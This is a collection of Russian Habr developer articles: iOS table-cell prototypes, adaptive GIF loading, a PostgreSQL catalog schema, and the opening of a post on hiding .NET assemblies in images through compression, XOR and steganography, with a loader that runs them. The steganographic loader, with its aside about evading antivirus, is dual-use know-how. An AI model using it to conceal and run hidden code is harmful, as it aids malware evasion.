for (UITableViewCell* cell in cellPrototypes) {
[self registerNib:[PrepopulatedNib nibWithObjects:@[cell]] forCellReuseIdentifier:cell.reuseIdentifier];
}
}
@end
```
Теперь таблица может работать, как будто ее загрузили из Storyboard. Тут можно немного заморочиться и при первом вызове возвращать оригинальные объекты ячеек, переданные в массиве, чтобы ресурсы не пропадали даром, но они нам пригодятся позже:
**Итак, об автоматической калькуляции высоты ячеек**
В iOS8 наконец-то ввели out-of-the-box вычисление высоты ячеек при использовании Layout Constraints (хотя и глючило оно сильно). В iOS9 эту функцию отполировали и добавили Stack Views. Опять же ни о какой обратной совместимости речи нет.
Предлагаю удобное решение этой задачи с использованием кода для подгрузки ячеек из одного XIB-а
Одним из способов вычисления высоты является хранение по одному невидимому экземпляру UITableViewCell с установленными constraint-ами. Для этого в процедуре *tableView:heightForRowAtIndexPath:* в таком экземпляре устанавливается item/text будущей ячейки, и, после вызова метода *[cell layoutIfNeeded]*, возвращается *cell.frame.size.height*.
Воспользуемся нашими предзагруженными ячейками для этого способа. Для этого будем хранить ячейки в NSDictionary, ассоциированном с таблицей. Для этого нужно добавить в .m файл инструкцию
```
#import
```
В методе setCellPrototypes: создадим NSDictionary с ячейками, где ключ — reuseIdentifier:
```
@implementation UITableView (XibCells)
static char cellPrototypesKey;
- (void)setCellPrototypes:(NSArray \*)cellPrototypes {
NSMutableDictionary\* dict = [NSMutableDictionary dictionaryWithCapacity:cellPrototypes.count];
for (UITableViewCell\* cell in cellPrototypes) {
[self registerNib:[PrepopulatedNib nibWithObjects:@[cell]] forCellReuseIdentifier:cell.reuseIdentifier];
dict[cell.reuseIdentifier] = cell;
}
objc\_setAssociatedObject(self, &cellPrototypesKey, cellPrototypes, OBJC\_ASSOCIATION\_RETAIN\_NONATOMIC);
}
- (NSArray\*)cellPrototypes { return nil; } //Чтобы не было warning-a
- (UITableViewCell \*)cellPrototypeWithIdentifier:(NSString \*)reuseIdentifier {
NSDictionary\* dict = (NSDictionary\*)objc\_getAssociatedObject(self, &cellPrototypesKey);
return dict[reuseIdentifier];
}
@end
```
Объявление cellPrototypeWithIdentifier: нужно будет вынести в .h файл, чтобы его можно было использовать в коде.
```
@interface UITableView (XibCells)
@property (nonatomic, strong) IBOutletCollection(UITableViewCell) NSArray* cellPrototypes;
- (UITableViewCell*)cellPrototypeWithIdentifier:(NSString*)reuseIdentifier;
@end
```
Теперь в коде datasource можно использовать прототипы для вычисления высоты:
```
- (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath {
id cellItem = _items[indexPath.section][indexPath.row];
MyTableViewCell* cell = [tableView cellPrototypeWithIdentifier:@"Cell"];
cell.item = cellItem;
[cell layoutIfNeeded];
return cell.frame.size.height;
}
```
Код нарочно не представляет собой all-in-one решения, так как является Proof of concept и предоставляется исключительно в ознакомительных целях.
Спасибо за внимание. | https://habr.com/ru/post/271701/ | null | ru | null |
# Делаем адаптивную загрузку контента на сайте
Привет, Хабр!
Я делаю сайт для своего проекта. На сайте нужно показывать одновременно много гифок, каждая весит неплохо. Если показывать все разом, то страница грузится очень долго. При этом отдавать страницу без гифок (чтобы они там догрузились) тоже нельзя.
Всех, кому интересно, как я разобрался с этой проблемой, прошу под кат.
Собственно, проблема
--------------------
Как я уже сказал, на сайте ОЧЕНЬ много гифок, хороших и разных. Можете сами посмотреть, сколько их: [reface.tech](https://reface.tech)
Как только я напилил бета-версию лендинга, сразу возникла проблема с загрузкой: у некоторых пользователей страницы долго грузились. Для сурьезного бизнеса, это, конечно, не дело.
Надо было это как-то решать. Простым lossless сжатием обойтись было нельзя, так уже на тот момент весь медиа-контент уже был прогнан через [compressor.io](https://compressor.io). Следовательно, надо было сжимать с потерями и выдавать гифки с худшим качеством.
Но выдавать пользователям с хорошим интернетом плохой медиаконтент — это какое-то кощунство. Поэтому решено было как-то определять скорость этих ваших интернетов, и в зависимости от скорости подсовывать соответствующее качество.
Делаем примерный набросок
-------------------------
У нас будет массив с описанием медиаконтента, который нужно грузить.
Пример:
```
[
{
"large": {
"size": 0.6211118698120117,
"url": "gifs/control/large/control_1.gif"
},
"middle": {
"size": 0.5330495834350586,
"url": "gifs/control/middle/control_1.gif"
},
"small": {
"size": 0.4901447296142578,
"url": "gifs/control/small/control_1.gif"
}
}
]
```
Тут у нас в элементике для соответствующей степени качества лежит урл и размер файла.
Мы будем просто:
1. Проходиться по массиву (при загрузке страницы)
2. Считать суммарный размер подгружаемого для каждой степени качества
3. Определять, подгрузится ли это все за 4 секунды (это срок, который лично меня устривает)
Соответственно, надо:
1. Напилить какую-то штуку, которая будет делать такой массив, чтобы все ручками не считать (на питоне)
2. Напилить определитель скорости интернетов
Пилим определитель скорости
---------------------------
Это будет сравнительно просто. Набираем в адресной строке вашего браузера [eu.httpbin.org/stream-bytes/51200](http://eu.httpbin.org/stream-bytes/51200). Скачается файлик длиной в 51200 байтов. Пихаем его себе в public (чтобы измерять скорость до хостинга).
Теперь нам надо проверить, за сколько файлик качается. Напилим для этого простую функцию, которая нам будет возвращать скорость в мегабайтах в секунду.
```
async checkDownloadSpeed(baseUrl, fileSizeInBytes) {
return new Promise((resolve, _) => {
let startTime = new Date().getTime();
return axios.get(baseUrl).then( response => {
const endTime = new Date().getTime();
const duration = (endTime - startTime) / 1000;
const bytesPerSecond = (fileSizeInBytes / duration);
const megabytesPerSecond = (bytesPerSecond / 1000 / 1000);
resolve(megabytesPerSecond);
});
}).catch(error => {
throw new Error(error);
});
}
```
То есть мы засекли время начала подгрузки, время окончания, измерили разницу, и, так как мы знаем размер файла, просто поделили.
Теперь напишем функцию, которая будет что-то делать с этой определенной скоростью:
```
async getNetworkDownloadSpeed() {
const baseUrl = process.env.PUBLIC_URL + '/51200';
const fileSize = 51200;
const speed = await this.checkDownloadSpeed(baseUrl, fileSize);
console.log("Network speed: " + speed);
if (speed.mbps === "Infinity") {
SpeedMeasure.speed = 1;
}
else {
SpeedMeasure.speed = speed * 5;
}
}
```
Вообще с этим кодом есть проблема: она в том, что точная скорость соединения не определяется из-за маленького размера файла. Но скачивать нечто больше для нас слишком дорого, поэтому мы просто домножаем полученную скорость на 5. Даже с запасом берем, потому что на деле скорость будет еще больше.
Теперь напилим функцию, которая в зависимости от скорости будет подсовывать соответствующее качество:
```
static getResolution(gifsArray) {
let totalSizeLevel1 = 0;
let totalSizeLevel2 = 0;
let totalSizeLevel3 = 0;
for (let i = 0; i < gifsArray.length; i++) {
for (let a = 0; a < gifsArray[i].length; a++) {
let element = gifsArray[i][a];
totalSizeLevel1 += element.small.size;
totalSizeLevel2 += element.middle.size;
totalSizeLevel3 += element.large.size;
}
}
if (isNaN(SpeedMeasure.speed)) {
SpeedMeasure.speed = 1;
}
let timeLevel1 = totalSizeLevel1 / SpeedMeasure.speed;
let timeLevel2 = totalSizeLevel2 / SpeedMeasure.speed;
let timeLevel3 = totalSizeLevel3 / SpeedMeasure.speed;
if (timeLevel3 < APPROPRIATE_TIME_LIMIT) {
return "large";
}
else if (timeLevel2 < APPROPRIATE_TIME_LIMIT) {
return "middle";
}
else {
return "small";
}
}
```
Так как функция, которая нам считает скорость, асинхронная, SpeedMeasure.speed может быть нулевым. По дефолту считаем, что скорость соединения 1 мегабайт в секунду. Когда функция посчитает скорость, мы просто перерендерим контейнер.
Мы передаем в функцию getResolution массив массивов. Почему? Потому что если у нас на странице несколько контейнеров, нам удобнее в каждый из них передавать соответствующий контент массивом, а вот считать скорость подгрузки надо для всех разом.
Пример использования
--------------------
Вот пример использования (на React'e):
```
async runFunction() {
let speedMeasure = new SpeedMeasure();
await speedMeasure.getNetworkDownloadSpeed();
this.forceUpdate()
}
componentDidMount() {
this.runFunction();
}
render() {
let quality = SpeedMeasure.getResolution([
Control.getControlArray(),
Health.getHealthArray()
]);
return (
);
}
```
Соответственно, когда у нас догрузится определение скорости, контейнер снова будет отрендерен.
Внутри контейнера (например, внутри Control) вы просто берете соответствующую гифку из массива (по индексу), потом по quality получаете объектик и по url получаете ссылочку. Все просто.
Пишем скриптик на питоне
------------------------
Теперь нам нужно как-то автоматически сжимать гифки и аутпутить массив с описанием контента.
Для начала напишем скриптик для сжатия. Будем использовать gifsicle. Для контента middle-компрессии уровень компрессии будет 80 (из 200), для совсем мощной штучки будет 160.
```
import os
GIFS_DIR = "/home/mixeden/Документы/Landingv2/"
COMPRESSOR_DIR = "/home/mixeden/Документы/gifsicle-static"
NOT_OPTIMIZED_DIR = "not_optimized"
OPTIMIZED_DIR = "optimized"
GIF_RESIZED_DIR = "gif_not_optimized_resized"
GIF_COMPRESSED_DIR = "gif_compressed"
COMPRESSION_TYPE = ["middle", "small"]
for (root, dirs, files) in os.walk(GIFS_DIR, topdown=True):
if len(files) > 0 and GIF_RESIZED_DIR in root:
for file in files:
path = root + "/" + file
for compression in COMPRESSION_TYPE:
final_path = path.replace(GIF_RESIZED_DIR,
GIF_COMPRESSED_DIR + "/" + compression + "/" + OPTIMIZED_DIR)
print(path, final_path)
if compression == COMPRESSION_TYPE[0]:
rate = 80
else:
rate = 160
os.system("echo 0 > " + final_path)
os.system(COMPRESSOR_DIR + " -O3 --lossy={} -o {} {}".format(rate, final_path, path))
```
Чтобы были понятны пути до файликов, вот описание файловой директории с гифками:
1. NOT\_OPTIMIZED\_DIR — неоптимизированные гифки
2. GIF\_RESIZED\_DIR — неоптимизированные гифки, но отресайзенные в соответствии с размерами контейнера под них
3. GIF\_COMPRESSED\_DIR — сжатые гифки
Внутри папок есть папки с названиями категории гифок. Внутри папки с определенной содержатся папки «large», «middle» и «small» (под виды компресснутых файлов).
В скрипте мы проходимся по каталогу с гифками идля каждого файлика делаем два вида компрессии, вызывая соответствующую команду командной строки.
Теперь перейдем к скрипту для создания массива с информацией.
```
import json
import os
GIFS_DIR = "/home/mixeden/Документы/Landingv2/"
COMPRESSOR_DIR = "/home/mixeden/Документы/gifsicle-static"
NOT_OPTIMIZED_DIR = "not_optimized"
OPTIMIZED_DIR = "optimized"
GIF_RESIZED_DIR = "gif_not_optimized_resized"
GIF_COMPRESSED_DIR = "gif_compressed"
COMPRESSION_TYPE = ["large", "middle", "small"]
OUTPUT = {}
for (root, dirs, files) in os.walk(GIFS_DIR, topdown=True):
if len(files) > 0 and GIF_COMPRESSED_DIR in root and NOT_OPTIMIZED_DIR not in root:
files.sort()
type = root.split(GIFS_DIR)[1].split(GIF_COMPRESSED_DIR)[0].replace("/", "")
print(type)
if type not in OUTPUT:
OUTPUT[type] = []
if len(OUTPUT[type]) == 0:
for file in files:
OUTPUT[type].append(
{
"large": {
"url": "",
"size": 0
},
"middle": {
"url": "",
"size": 0
},
"small": {
"url": "",
"size": 0
}
})
for file in files:
full_path = root + "/" + file
bytes_size = os.path.getsize(full_path)
kilobytes_size = bytes_size / 1000
megabytes_size = kilobytes_size / 1000
index = int(file.split("_")[1].replace(".gif", "")) - 1
for typer in COMPRESSION_TYPE:
if typer in root:
local_type = typer
new_url = "gifs/" + full_path.replace(GIFS_DIR, "").replace("/" + GIF_COMPRESSED_DIR, "").replace("/" + OPTIMIZED_DIR, "")
OUTPUT[type][index][local_type]['url'] = new_url
OUTPUT[type][index][local_type]['size'] = megabytes_size
print(OUTPUT)
print(json.dumps(OUTPUT, indent=4, sort_keys=True))
```
Тут мы проходимся по папочкам с файлами, определяем размер файла, выясняем вид компрессии и кладем общую информацию в массив OUTPUT. А потом красиво выводим этот массив в консоль, чтобы его скопировать.
Заключение
----------
Надеюсь, эта статья вам чем-то поможет. Всем приятного кодинга, ребята. | https://habr.com/ru/post/480704/ | null | ru | null |
# Идеальный каталог, набросок архитектуры
Подвернулась мне задачка разработать универсальный каталог товаров и услуг, по совместительству каталог предприятий, документов и чего угодно ещё. В работе этот «опыт» не пригодился, а идея хорошая, по-моему скромному мнению :) Хочется поделиться, и послушать критику.
Каталог подразумевает упорядоченность — иерархию, подразумевает непосредственно хранение информации, и конечно поиск, наверное аналитику… что-то ещё? Больше ничего в голову не приходит.
Теперь по пунктам.
Иерархия
--------
Однозначно группировка информации будет древовидной, от абстрактного «Каталог» к более частному, к более конкретному (например «молоток»). Уровень детализации может быть любым, не будем себя держать в рамках «раздел», «подраздел», «категория», «подкатегория», пусть глубина ветвления будет бесконечной.
Информация будет храниться в какой то СУБД, для работы с иерархией эта СУБД должна уметь иерархические запросы, таких СУБД не мало, из бесплатных самая попсовая это PostgreSQL.
DDL таблички Дерево Элементов:
```
CREATE TABLE element_tree
(
id SERIAL PRIMARY KEY NOT NULL,
element_tree_id INTEGER,
is_hidden INTEGER DEFAULT 0,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now(),
CONSTRAINT fk_element_tree FOREIGN KEY (element_tree_id) REFERENCES element_tree (id)
);
CREATE INDEX ix_element_tree_element_tree_id_id ON element_tree (element_tree_id, id);
```
### Пояснения к структуре таблицы
id — идентификатор строки таблицы.
element\_tree\_id — ссылка на родительский элемент дерева.
is\_hidden — флаг удалённой записи ( 0 — действительная запись, 1 — удалённая), почему для записи только поднимается флаг, вместо удаления? потому что когда встречаешь в логах идентификатор и тебе хочется посмотреть что он из себя представляет, очень удобно сделать селелект в текущей базе, вместо того что бы делать этот селект в бэкапе (и не факт что в этом бэкапе эта запись найдётся).
insert\_date — дата добавления записи, удобно когда ты знаешь — это 100 летняя запись или она вставилась пять минут назад в результате не удачного инсерта.
Конечно людям которые хорошо знакомы с системой всё это (is\_hidden ,insert\_date) не очень надо, но для тех кто смотрит на систему как баране на новые ворота, эти поля очень пригодятся, я в своей практике обычно в роли барана :)
CONSTRAINT fk\_element\_tree — внешний ключ к самой себе — указатель на родительский элемент.
INDEX ix\_element\_tree\_element\_tree\_id\_id — индекс для поиска дочерних веток (узлов потомков), если родителя мы найдём по первичному ключу, то для ускоренного поиска потомков нам надо завести отдельный индекс.
Как мог заметить кто то опытный и продвинутый, в таблице нет колонок для имени элемента. А почему? А потому что иерархия это только иерархия, и упорядочены не узлы дерева, а те таблицы которые к иерархии пристыкованы, поэтому имена в таблицах, а в иерархии только группировка элементов.
Непосредственное хранении информации
------------------------------------
В конечном итоге любой каталог это перечень отдельных рубрик. Рубрика это некая группа сущностей обладающих уникальным набором характеристик. То есть имеем отношение собственно Сущности и сгруппированные сущности — Рубрика, и кроме того Рубрика является ещё и группировкой для уникальных Характеристик этих Сущностей.
То есть информация разделяется на три части — Сущность, Характеристика, Рубрика, где Рубрика это точка соединения нескольких Сущностей и Характеристик.
На языке СУБД это звучит так:
Таблица Рубрики
```
CREATE TABLE rubric
(
id SERIAL PRIMARY KEY NOT NULL,
code CHAR(100),
title VARCHAR(4000),
description VARCHAR(4000),
is_hidden INTEGER DEFAULT 0,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now()
);
CREATE UNIQUE INDEX ux_rubric_code ON rubric (code);
```
Таблица Сущностей (некая Штука, которая может оказаться как товаром, так и услугой, или компанией, или вообще отчётом и чем угодно ещё):
```
CREATE TABLE item
(
id SERIAL PRIMARY KEY NOT NULL,
code CHAR(100),
title VARCHAR(4000),
description VARCHAR(4000),
is_hidden INTEGER DEFAULT 0,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now()
);
CREATE UNIQUE INDEX ux_item_code ON item (code);
```
Таблица Характеристики (свойства):
```
CREATE TABLE property
(
id SERIAL PRIMARY KEY NOT NULL,
code CHAR(100),
title VARCHAR(4000),
description VARCHAR(4000),
is_hidden INTEGER DEFAULT 0,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now()
);
CREATE UNIQUE INDEX ux_property_code ON property (code);
```
Тут мы видим новые колонки:
code — уникальный код (мнемоника) для записи, прописывать в запросах и конфигах идентификаторы не камильфо, потому что идентификаторы могут на разных машинах быть разными и следить за тем что бы они были одними и теми же слегка утомительно, значительно удобней использовать код записи — его и запомнить проще чем набор цифр идентификатора, да и в коде когда видишь слово, а не магические числа становиться чуть более понятней суть происходящего.
title — наименование (name пришлось заменить на title, потому что name это ключевое слово для PostgreSql).
description — описание ( имя используется для выбора в списке, а описание для собственно описания назначения записи).
Теперь о том как всё это связано.
Организация информации в каталоге
---------------------------------
Рубрики пристыкованы к дереву элементов, стыковка выполнена отдельной таблицей:
```
CREATE TABLE rubric_element_tree
(
id SERIAL PRIMARY KEY NOT NULL,
rubric_id INTEGER NOT NULL,
element_tree_id INTEGER NOT NULL,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now(),
CONSTRAINT fk_rubric_element_tree_rubric_id FOREIGN KEY (rubric_id) REFERENCES rubric (id),
CONSTRAINT fk_rubric_element_tree_element_tree_id FOREIGN KEY (element_tree_id) REFERENCES element_tree (id)
);
CREATE UNIQUE INDEX ux_rubric_element_tree_rubric_id ON rubric_element_tree (rubric_id);
CREATE UNIQUE INDEX ux_rubric_element_tree_element_tree_id ON rubric_element_tree (element_tree_id);
```
Таблица выполняет роль «связи один к одному», таблица имеет два внешних ключа, для каждой колонки ключа есть свой индекс.
И Рубрика и Элемент дерева могут быть стыкованы только один раз, поэтому для каждой колонки сделан индекс с уникальностью.
Каждая рубрика имеет свой набор Характеристик (свойств):
```
CREATE TABLE rubric_property
(
id SERIAL PRIMARY KEY NOT NULL,
rubric_id INTEGER NOT NULL,
property_id INTEGER NOT NULL,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now(),
CONSTRAINT fk_rubric_property_rubric_id FOREIGN KEY (rubric_id) REFERENCES rubric (id),
CONSTRAINT fk_rubric_property_property_id FOREIGN KEY (property_id) REFERENCES property (id)
);
CREATE UNIQUE INDEX ux_rubric_property_rubric_id ON rubric_property (rubric_id, property_id);
CREATE INDEX ix_rubric_property_property_id ON rubric_property (property_id);
```
У таблицы два внешних ключа, связи вида «один ко многим».
У одной Рубрики одна Характеристика один раз — обеспечивается индексом, у разных Рубрик может быть одна и та же Характеристика — индекс по Характеристике без уникальности значений.
Каждая рубрика имеет свой набор Сущностей (Штук):
```
CREATE TABLE rubric_item
(
id SERIAL PRIMARY KEY NOT NULL,
rubric_id INTEGER NOT NULL,
item_id INTEGER NOT NULL,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now(),
CONSTRAINT fk_rubric_item_rubric_id FOREIGN KEY (rubric_id) REFERENCES rubric (id),
CONSTRAINT fk_rubric_item_item_id FOREIGN KEY (item_id) REFERENCES item (id)
);
CREATE UNIQUE INDEX ux_rubric_item_rubric_id_item_id ON rubric_item (rubric_id, item_id);
CREATE UNIQUE INDEX ux_rubric_item_item_id ON rubric_item (item_id);
```
У таблицы два внешних ключа, связи вида «один ко многим». У одной Рубрики несколько Сущностей, каждая Сущность может принадлежать только одной Рубрике.
Это была структура хранения информации, а где же сама информация?
Сама информация храниться отдельно.
Хранение информации
-------------------
Таблица Значения (значение информационной характеристики):
```
CREATE TABLE content
(
id SERIAL PRIMARY KEY NOT NULL,
raw VARCHAR(4000),
redactor_id INTEGER NOT NULL,
property_id INTEGER NOT NULL,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now(),
CONSTRAINT fk_content_redactor_id FOREIGN KEY (redactor_id) REFERENCES redactor (id),
CONSTRAINT fk_content_property_id FOREIGN KEY (property_id) REFERENCES property (id)
);
CREATE INDEX ix_content_redactor_id ON content (redactor_id);
CREATE INDEX ix_content_property_id ON content (property_id);
```
Эта табличка не совсем обычная, по сути это просто ячейка «памяти», которая хранит значение (raw). Значение конкретной характеристики (property\_id). Значение заданное конкретным Редактором (redactor\_id). Из таблички не ясно к чему относиться значение этой характеристики, то ли к модели молотка, то ли к модели видеокарты, стыковка с Сущностью это задача отдельной таблицы, но об этом пока рано, надо про Редакторов рассказать:
```
CREATE TABLE redactor
(
id SERIAL PRIMARY KEY NOT NULL,
code CHAR(100),
title VARCHAR(4000),
description VARCHAR(4000),
is_hidden INTEGER DEFAULT 0,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now()
);
CREATE UNIQUE INDEX ux_redactor_code ON redactor (code);
```
Зачем нам Редактор? Информационный каталог предполагался чем то вроде Википедии, где каждый Редактор мог задать свою версию значений Характеристик для каждой Сущности. И собственно Система должна была работать с вариациями Редакторов для представления одной и той же Сущности, считать аналитику по этим вариациям.
Таблица Значений хранит только строковое представление информации о Характеристике. Это собственно пользовательский ввод. Система работает с другим представлением этой информации, с представлением зависящим от типа данных. Для каждого типа данных своя таблица.
Строки
```
CREATE TABLE string_matter
(
content_id INTEGER NOT NULL,
id SERIAL PRIMARY KEY NOT NULL,
string VARCHAR(4000),
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now(),
CONSTRAINT fk_string_matter_content_id FOREIGN KEY (content_id) REFERENCES content (id)
);
CREATE UNIQUE INDEX ux_string_matter_content_id ON string_matter (content_id);
```
\*для хранения строк в PostgreSql следует использовать TEXT
Числа
```
CREATE TABLE digital_matter
(
content_id INTEGER NOT NULL,
id SERIAL PRIMARY KEY NOT NULL,
digital DOUBLE PRECISION,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now(),
CONSTRAINT fk_digital_matter_content_id FOREIGN KEY (content_id) REFERENCES content (id)
);
CREATE UNIQUE INDEX ux_digital_matter_content_id ON digital_matter (content_id);
```
Даты (отметки времени)
```
CREATE TABLE date_matter
(
content_id INTEGER NOT NULL,
id SERIAL PRIMARY KEY NOT NULL,
date_time TIMESTAMP WITH TIME ZONE
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now(),
CONSTRAINT fk_date_matter_content_id FOREIGN KEY (content_id) REFERENCES content (id)
);
CREATE UNIQUE INDEX ux_date_matter_content_id ON date_matter (content_id);
```
Временные интервалы
```
CREATE TABLE duration_matter
(
content_id INTEGER NOT NULL,
id SERIAL PRIMARY KEY NOT NULL,
duration INTERVAL,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now(),
CONSTRAINT fk_duration_matter_content_id FOREIGN KEY (content_id) REFERENCES content (id)
);
CREATE UNIQUE INDEX ux_duration_matter_content_id ON duration_matter (content_id);
```
Типы данных специально выбраны «международные», что бы можно было перенести структуру БД на любую платформу, на любую СУБД.
Название «matter» выбрано за созвучность словам «материя» и «суть».
И ещё об одной вещи не рассказал, это опции:
```
CREATE TABLE option
(
id SERIAL PRIMARY KEY NOT NULL,
code CHAR(100),
title VARCHAR(4000),
description VARCHAR(4000),
is_hidden INTEGER DEFAULT 0,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now()
);
CREATE UNIQUE INDEX ux_option_code ON option (code);
```
Опции нужны в качестве тегов, которые определяют каким образом обрабатывать Характеристики, как по ним проводить аналитику, какой механизм поиска использовать, с каким типом данных сохранять, какие права (разрешения) требуются для доступа и вся подобная бизнес логика завязана на опциях.
Опции стыкуются с Характеристиками:
```
CREATE TABLE property_option
(
id SERIAL PRIMARY KEY NOT NULL,
property_id INTEGER NOT NULL,
option_id INTEGER NOT NULL,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now(),
CONSTRAINT fk_property_option_property_id FOREIGN KEY (property_id) REFERENCES property (id),
CONSTRAINT fk_property_option_option_id FOREIGN KEY (option_id) REFERENCES option (id)
);
CREATE UNIQUE INDEX ux_property_option_property_id_option_id ON property_option (property_id, option_id);
CREATE INDEX ix_property_option_option_id ON property_option (option_id);
```
Контент соединяется с Сущностями:
```
CREATE TABLE item_content
(
id SERIAL PRIMARY KEY NOT NULL,
item_id INTEGER NOT NULL,
content_id INTEGER NOT NULL,
insert_date TIMESTAMP WITH TIME ZONE DEFAULT now(),
CONSTRAINT fk_item_content_item_id FOREIGN KEY (item_id) REFERENCES item (id),
CONSTRAINT fk_item_content_content_id FOREIGN KEY (content_id) REFERENCES content (id)
);
CREATE UNIQUE INDEX ux_item_content_item_id_content_id ON item_content (item_id, content_id);
CREATE UNIQUE INDEX ux_item_content_content_id ON item_content (content_id);
```
Собственно это все составные Информационного каталога.
Фишка «архитектуры»
-------------------
Теперь самый главный вопрос, к чему такое количество связывающих табличек, неужели нельзя соединять таблицы напрямую?
Ответ в том что такая «архитектура» нацелена на максимальную модульность. Каждая таблица заточена под одну функцию и эти функции можно гибко комбинировать. Гибкость нарушает только таблица Значений — content, конечно связь с Редакторами можно было вынести в отдельную таблицу, но это уж слишком через край (хотя в следующей реализации я так и сделаю). Связь content с property жёсткая потому что Значение (content) не возможно интерпретировать вне Характеристики (property).
Гибкость связей сделана ради удобства перекидывания субъектов между другими субъектами Системы.
То есть мы Сущность с одни и тем же набором Значений можем перекидывать между разными Рубриками, и в каждой Рубрике мы у Сущности будем видеть и работать только с теми Характеристиками которые определены для этой Рубрики. Можем свободно перекинуть Значения от одной Сущности к другой, при этом не затронув самих значений.
Можем использовать только строковое представление информации и забыть об узкоспециализированных представлениях в таблицах \*\_matter.
Можем пользоваться только Рубриками без раскидывания Рубрик по Дереву элементов. А можем напротив по Дереву раскидать только те Рубрики которым хотим дать доступ пользователям, а системные Рубрики к дереву не стыковать и таким образом скрыть их от пользователей.
Можем для Рубрики добавлять или удалять Характеристики, при этом Значения ни как не пострадают и не будут задеты.
То есть от проекта к проекту можем использовать только тот функционал который нужен, а который не нужен можно выпилить в два счёта, просто исключив из сборки не нужные классы.
В общем можем крутить и вертеть данными как нам заблагорассудиться без каких либо изменений в структуре БД, и соответственно без изменений в классах работающих с этими данными, при изменении логики пришлось бы менять только слой бизнес логики без изменения слоя доступа к данным без изменения «примитивных» классов отвечающих за интерфейс редактирование данных.
При возросших накладных расходах на доступ к данным, мы получили большую гибкость и большую устойчивость к неосторожным действиям пользователей, можно проводить некоторые эксперименты без необходимости бэкапов, для таких «рисковых» и ленивых программистов как я это большой плюс :)
Ко всей этой «красоте» есть ещё и PHP код, но о нём в следующий раз, а учитывая мой «Recovery mode», только через неделю.
**PS.** Наверное после ваших замечаний надо будет ещё раз про эту «архитектуру» написать, а потом можно будет рассказать и про PHP классы для работы с этой системой хранения и обработки данных.
ER-Диаграмма
------------
Продолжение
-----------
[Идеальный каталог, набросок архитектуры](https://habrahabr.ru/post/323498/) | https://habr.com/ru/post/322930/ | null | ru | null |
# Котфускация исполняемого .net кода
*(пятница)*
Обычно развернутое приложение в файловой системе выглядит как-то так:
Совершенно незащищенное от инструментов типа рефлектора или IlSpy, но что если оно станет таким:
По крайней мере легкий ступор хакеру-неофиту обеспечен. Приятно смотрится, ~~и антивирусы не заинтересуются.~~
#### Коротко
На картинках присутствует модуль Booster.exe, о нем и поговорим, это совсем небольшая программка и умеет она следующее:
* запаковать набор dll'ок в набор картинок, при этом сжав и зашифровав
* загрузить из набора картинок dll'ки, найти в них типы с методом Main и запустить их
При этом учитывается что сборки могут друг друга использовать (для этого используется событие [AssemblyResolve](http://msdn.microsoft.com/ru-ru/library/system.appdomain.assemblyresolve(v=vs.110).aspx) у AppDomain).
Если убрать все проверки, код запуска на исполнение выглядит так:
```
AssemblyProvider.LoadAssemblies(imagesFolder).CallMain();
```
Код упаковки так:
```
var config = CommandLineParser.Parse(args);
AssemblyProvider.PackAssemblies(config["img"], config["imgout"], config["asm"]);
```
#### Упаковка
Начнем с упаковки, метод **PackAssemblies** принимает путь к каталогу с картинками, путь к каталогу куда нужно сложить картинки с кодом, и путь к каталогу со сборками. Первым делом собираем информацию о картинках, нам нужно знать какой объем данных можно в них хранить:
```
Dictionary imagesVolume = new Dictionary();
var imageFiles = Directory.GetFiles(imagesFolder, "\*.\*").Where(file => file.ToLower().EndsWith("bmp") ||
file.ToLower().EndsWith("png") || file.ToLower().EndsWith("jpg") || file.ToLower().EndsWith("jpeg")) .ToList();
foreach (string file in imageFiles)
imageSet.Append(file);
//ImageSet
internal void Append(string imageFile)
{
using (Image img = Image.FromFile(imageFile))
{
\_imagesVolume.Add(imageFile, img.Width \* img.Height - 4);
\_images.Add(imageFile);
}
}
```
Формула проста, ширину умножаем на высоту и отнимаем 4 байта под размер данных. ImageSet дополнительно следит за закольцованным пробеганием по картинкам (чтобы были разные), и за поиск картинки способной вместить размер сборки.
Теперь остается пробежаться по сборкам, загрузить каждую в бинарном виде, и слить с картинкой, способной вместить размер данных. Вкратце для отдельной сборки так:
```
byte[] packed = AssemblyPacker.Pack(file);
string imageFile = imageSet.FindImage(packed.Length);
if (imageFile != null)
{
using (Image img = Image.FromFile(imageFile))
{
Bitmap bmp = SteganographyProvider.Injection(img, packed);
//Save
}
}
```
**AssemblyPacker** сжимает массив байт используя **GZipStream**, т.к. размер сборки выравнивается по блокам, это может значительно сократить размер.
Пример окончания файла сборки:
, выделена часть добитая нулями, и ниже еще сотни две нулей, что отлично сожмется.
Затем сжатый массив 'шифруется', я не стал применять криптопровайдеры, массив просто xor'ится с набором псевдослучайных чисел, при этом генератором служит размер массива. Т.е. при повторении операции шифрования получаем исходный массив. Алгоритм очень простой, но дает результат похожий на белый шум.
Рапределение данных в необработанной сборке:
Распределение после обработки близко к [нормальному](https://ru.wikipedia.org/wiki/Нормальное_распределение)
Получив запакованную сборку переходим к самой интересной части, слияние с картинкой. Где и натыкаемся на первые проблемы. .NET при сохранении картинки использует WinApi метод **GdipSaveImageToFile** ([можно тут посмотреть](http://referencesource.microsoft.com/#System.Drawing/commonui/System/Drawing/Image.cs)), который принимает помимо ссылки на изображение и имени файла, еще и ссылку на обработчики(encoder'ы) изображения, среди которых могут архиваторы, оптимизаторы и т.п. Каждый из которых может изменить значения пикселей, что повлечет повреждение хранимых данных. Самым простым решением казалось бы не передавать обработчики, но метод **GdipSaveImageToFile** и сам по себе умный, кроме передаваемого списка обработчиков он еще ориентируется и на формат изображения (clsid, третий параметр метода), при этом, например для png, он вообще может забить на наш список обработчиков и решить что применять самостоятельно. Мне так и не удалось найти сочетание при котором работало бы сжатие изображения без потерь, поэтому использую следующее решение:
```
Bitmap bmp = SteganographyProvider.Injection(img, packed);
